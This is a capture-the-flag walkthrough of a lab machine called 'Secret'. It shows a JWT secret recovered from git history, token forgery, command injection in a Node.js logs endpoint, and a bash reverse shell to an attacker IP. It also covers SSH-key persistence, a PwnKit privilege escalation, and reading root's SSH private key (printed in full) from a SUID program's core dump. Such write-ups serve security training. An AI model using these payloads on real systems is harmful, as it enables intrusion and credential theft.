Secret
First, let's scan for open ports using
nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.120 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.120.PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Clicking "Download Source Code" on the main page downloads a
files.zip containing a Node.js Express application. Clicking on any of the 6 sections highlighted on the main page links to some documentation for the downloaded/running application.We copy the documentation and run the following to create a user:
curl --header "Content-Type: application/json" \
--request POST \
--data '{"name": "dan1977", "email": "[email protected]", "password": "password"}' \
http://10.10.11.120/api/user/register
Output:
{"user":"dan1977"}Let's sign in with the user we just created:
curl --header "Content-Type: application/json" \
--request POST \
--data '{"email": "[email protected]", "password": "password"}' \
http://10.10.11.120/api/user/login
Output:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoiZGFuMTk3NyIsImVtYWlsIjoiZGFuQGdvb2dsZS5jb20iLCJpYXQiOjE2NDUwNzM4MzF9.hlZPd6A33IjeRfBx8Qh_WNgI1y5-8R9FIoZbfg7Bd5gThe documentation says we can use this auth token to access
/api/priv and see our account type.curl http://10.10.11.120/api/priv --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoiZGFuMTk3NyIsImVtYWlsIjoiZGFuQGdvb2dsZS5jb20iLCJpYXQiOjE2NDUwNzM4MzF9.hlZPd6A33IjeRfBx8Qh_WNgI1y5-8R9FIoZbfg7Bd5g"
Output:
{"role":{"role":"you are normal user","desc":"dan1977"}}Let's explore the source code we downloaded and extracted from
files.zip.If we look in the
local-web/routes/private.js file, we see this function:router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
So, if we are able to get access to the account with username
theadmin we can use the /api/logs endpoint to perform a command injection. Performing a GET request to /api/logs will use node.js's exec to run git log --oneline [OUR INPUT]. Therefore, we can send a request to http://10.10.11.120/api/logs?file=.;[OUR COMMAND] to run arbitrary commands.The aforementioned
/api/logs endpoint uses the verifytoken function from local-web/routes/verifytoken.js:module.exports = function (req, res, next) {
const token = req.header("auth-token");
if (!token) return res.status(401).send("Access Denied");
try {
const verified = jwt.verify(token, process.env.TOKEN_SECRET);
req.user = verified;
next();
} catch (err) {
res.status(400).send("Invalid Token");
}
};
So, the
username is contained in a JWT. Therefore, we need to find out the value of the process.env.TOKEN_SECRET so we can modify the username and change it to theadmin.The folder we downloaded with the code is also a git repo (there is a
.git folder). We can run git log to see what commits have been made:commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
Author: dasithsv <[email protected]>
Date: Thu Sep 9 00:03:27 2021 +0530
now we can view logs from server 😃
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <[email protected]>
Date: Fri Sep 3 11:30:17 2021 +0530
removed .env for security reasons
commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <[email protected]>
Date: Fri Sep 3 11:29:19 2021 +0530
added /downloads
commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <[email protected]>
Date: Fri Sep 3 11:27:35 2021 +0530
removed swap
commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <[email protected]>
Date: Fri Sep 3 11:26:39 2021 +0530
added downloads
commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <[email protected]>
Date: Fri Sep 3 11:25:52 2021 +0530
first commit
Commit
67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 has the message message removed .env for security reasons, which is interesting since the .env file looks like this:DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
This old commit might have the
TOKEN_SECRET, which would enable us to sign a modified JWT and change our username to theadmin.Try
git checkout de0a46b5107a2f4d26e348303e76d85ae4870934 (which is the commit right before the .env file was removed).Now, the
.env file contains the TOKEN_SECRET:DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
So, now we can sign the JWT with the
name field changed to theadmin.We can use JWT.io to get a new token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRhbkBnb29nbGUuY29tIiwiaWF0IjoxNjQ1MDczODMxfQ.OcsMCcyhgjPB36m6enq6lSGzbRD82z9Hn5OdrBFJ8Rc.Now, let's see if we are admin with
curl http://10.10.11.120/api/priv --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRhbkBnb29nbGUuY29tIiwiaWF0IjoxNjQ1MDczODMxfQ.OcsMCcyhgjPB36m6enq6lSGzbRD82z9Hn5OdrBFJ8Rc", which returns {"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}. So, we are now admin.Let's try out the command injection we found with the
/api/logs endpoint: curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRhbkBnb29nbGUuY29tIiwiaWF0IjoxNjQ1MDczODMxfQ.OcsMCcyhgjPB36m6enq6lSGzbRD82z9Hn5OdrBFJ8Rc" "http://10.10.11.120/api/logs?file=;whoami" returns "80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\ndasith\n".The
dasith is the output of our whoami command, so it looks like everything worked as expected.We can get
user.txt flag with curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRhbkBnb29nbGUuY29tIiwiaWF0IjoxNjQ1MDczODMxfQ.OcsMCcyhgjPB36m6enq6lSGzbRD82z9Hn5OdrBFJ8Rc" "http://10.10.11.120/api/logs?file=.;cat%20../user.txt" (the %20 is a URL encoded space).Let's get a reverse shell. We can use the standard bash reverse shell:
bash -c 'bash -i >& /dev/tcp/10.10.14.55/48253 0>&1'. Let's also organize our curl command using --data-urlencode, which will automatically take care of the spaces in our payload. We must also specify -G so that curl knows to make a GET request. We can start a listener with pwncat-cs -lp 48253. Then we can run the final exploit command, which is is curl -G --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRhbkBnb29nbGUuY29tIiwiaWF0IjoxNjQ1MDczODMxfQ.OcsMCcyhgjPB36m6enq6lSGzbRD82z9Hn5OdrBFJ8Rc" "http://10.10.11.120/api/logs" --data-urlencode "file=;bash -c 'bash -i >& /dev/tcp/10.10.14.55/48253 0>&1'".This command pops the shell and the command will eventually return this output
{"killed":false,"code":1,"signal":null,"cmd":"git log --oneline ;bash -c 'bash -i >& /dev/tcp/10.10.14.55/48253 0>&1'"}, but the reverse shell will stay active.Then, we can get persistance with
pwncat by running run implant.authorized_key key=/home/kali/.ssh/id_rsa. Now, we should be able to reconnect with pwncat-cs [email protected] --identity /home/kali/.ssh/id_rsa, but this doesn't work. I set the permissions of the .ssh folder to be what they should be with chmod 700 .ssh && chmod 600 .ssh/authorized_keys, which fixed the issue.Upload LinPEAS with
upload linpeas.sh then run with bash linpeas.sh.LinPEAS immediately tells us that the version of
sudo installed is vulnerable to CVE-2021-4034 and CVE-2021-3560. For more information about these exploits see my Paper and Horizontall writeups. Let's try CVE-2021-4034. CVE-2021-4034 is a very recent exploit (disclosed to public on January 25th, 2022). Downloading berdav/CVE-2021-4034 as a ZIP file, copying the file over, unzipping it, running make in the directory, and then executing ./cve-2021-4034 gets us a root shell.We can now run
cat /root/root.txt to get the root flag. However, CVE-2021-4034 was probably not the intended solution since this box was published before that exploit was found.For fun, let's see if
CVE-2021-3560 would also work: The secnigma/CVE-2021-3560-Polkit-Privilege-Esclation repo seems to work the best at the time of writing. Download the script, upload it to the target machine, and then run it like so: ./poc.sh -u=john -p=john. This fails with the error Accounts service and Gnome-Control-Center NOT found!!, so it looks like CVE-2021-3560 won't work.Now, on to the expected exploit. Looking over the LinPEAS output, the
SUID section shows the following:-rwsr-xr-x 1 root root 18K Oct 7 10:03 /opt/count (Unknown SUID binary)
/opt/count is a SUID binary that is not normal on linux machines. This is almost certainly our privilege escalation vector.If we investigated
/opt we find a code.c file with the source code to the count SUID binary:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>
void dircount(const char *path, char *summary)
{
DIR *dir;
char fullpath[PATH_MAX];
struct dirent *ent;
struct stat fstat;
int tot = 0, regular_files = 0, directories = 0, symlinks = 0;
if((dir = opendir(path)) == NULL)
{
printf("\nUnable to open directory.\n");
exit(EXIT_FAILURE);
}
while ((ent = readdir(dir)) != NULL)
{
++tot;
strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
strcat(fullpath, "/");
strncat(fullpath, ent->d_name, strlen(ent->d_name));
if (!lstat(fullpath, &fstat))
{
if(S_ISDIR(fstat.st_mode))
{
printf("d");
++directories;
}
else if(S_ISLNK(fstat.st_mode))
{
printf("l");
++symlinks;
}
else if(S_ISREG(fstat.st_mode))
{
printf("-");
++regular_files;
}
else printf("?");
printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
printf((fstat.st_mode & S_IROTH) ? "r" : "-");
printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
}
else
{
printf("??????????");
}
printf ("\t%s\n", ent->d_name);
}
closedir(dir);
snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks);
printf("\n%s", summary);
}
void filecount(const char *path, char *summary)
{
FILE *file;
char ch;
int characters, words, lines;
file = fopen(path, "r");
if (file == NULL)
{
printf("\nUnable to open file.\n");
printf("Please check if file exists and you have read privilege.\n");
exit(EXIT_FAILURE);
}
characters = words = lines = 0;
while ((ch = fgetc(file)) != EOF)
{
characters++;
if (ch == '\n' || ch == '\0')
lines++;
if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
words++;
}
if (characters > 0)
{
words++;
lines++;
}
snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines);
printf("\n%s", summary);
}
int main()
{
char path[100];
int res;
struct stat path_s;
char summary[4096];
printf("Enter source file/directory name: ");
scanf("%99s", path);
getchar();
stat(path, &path_s);
if(S_ISDIR(path_s.st_mode))
dircount(path, summary);
else
filecount(path, summary);
// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
printf("Save results a file? [y/N]: ");
res = getchar();
if (res == 121 || res == 89) {
printf("Path: ");
scanf("%99s", path);
FILE *fp = fopen(path, "a");
if (fp != NULL) {
fputs(summary, fp);
fclose(fp);
} else {
printf("Could not open %s for writing\n", path);
}
}
return 0;
}
We run
cat /proc/sys/fs/suid_dumpable to get 2, which means SUID binaries can create core dumps. We can load the /root/root.txt file in memory and then purposely crash the program to create a coredump of the program's memory, which will have the loaded root.txt flag in it. Searching for how to crash the program and cause a coredump finds this StackOverflow answer, but we need to use SIGSEGV to cause an actual crash not just the quit command.This Unix StackExchange answer describes the vulnerability: "The core dump contains a copy of everything which was in memory at the time of the fault. If the program is running suid, that means it needs access to something which you, as a user, do not have access to. If the program gets that information then dumps core, you'll be able to read that privileged information."
So, we will run the program, enter the path to
root.txt to load it into the program's memory, then we will kill the program, and then return to the program to cause the core dump.(remote) [email protected]:/opt$ ./count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]: ^Z
[1]+ Stopped ./count
(remote) [email protected]:/opt$ ps
PID TTY TIME CMD
31803 pts/1 00:00:00 bash
31925 pts/1 00:00:00 bash
32288 pts/1 00:00:00 count
32292 pts/1 00:00:00 ps
(remote) [email protected]:/opt$ kill -SIGSEGV 32288
(remote) [email protected]:/opt$ fg
./count
Segmentation fault (core dumped)
We see that this is an Ubnutu machine with
cat /etc/issue* and searching online for where coredumps are in Ubuntu finds this Ubuntu StackExchange answer. So, they are in /var/crash/. This Ubuntu StackExchange answer says that Apport handles the coredumps. Going to the offical Apport page on Ubuntu's wiki mentions several tools including apport-unpack, which is "most useful for extracting the core dump," which is what we want to do. We can extract the coredump with apport-unpack _opt_count.1000.crash /tmp/crash-report.Now, the
CoreDump file at /tmp/crash-report/CoreDump is a binary file so trying to view it with cat doesn't work well. We can instead use the string command so view the strings within it since the contents of /root/root.txt should be in there. We can get the root.txt flag in one command with strings CoreDump | grep -e "[0-9a-f]\{32\}". This pipes the strings from CoreDump into grep, which searches for a regular expression that matches MD5 hashes (regex from this StackOverflow answer).To get a root shell we can use the same technique to view the
/root/.ssh/id_rsa file, which will be root's SSH private key.(remote) [email protected]:/opt$ ./count
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]: ^Z
[1]+ Stopped ./count
(remote) [email protected]:/opt$ ps
PID TTY TIME CMD
31803 pts/1 00:00:00 bash
31925 pts/1 00:00:00 bash
32477 pts/1 00:00:00 count
32481 pts/1 00:00:00 ps
(remote) [email protected]:/opt$ kill -SIGSEGV 32477
(remote) [email protected]:/opt$ fg
./count
Segmentation fault (core dumped)
Unpack with
apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash-report2 and find the private key with strings /tmp/crash-report2/CoreDump | grep -A 40 "BEGIN OPENSSH PRIVATE KEY". -A 40 gets 40 lines after the matched text.-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Use
nano secret_root_key and paste in the private key. Set the permissions for the key so that SSH will accept it: chmod 600 secret_root_key. Then, get a root SSH shell with ssh [email protected] -i secret_root_key.Last modified 9mo ago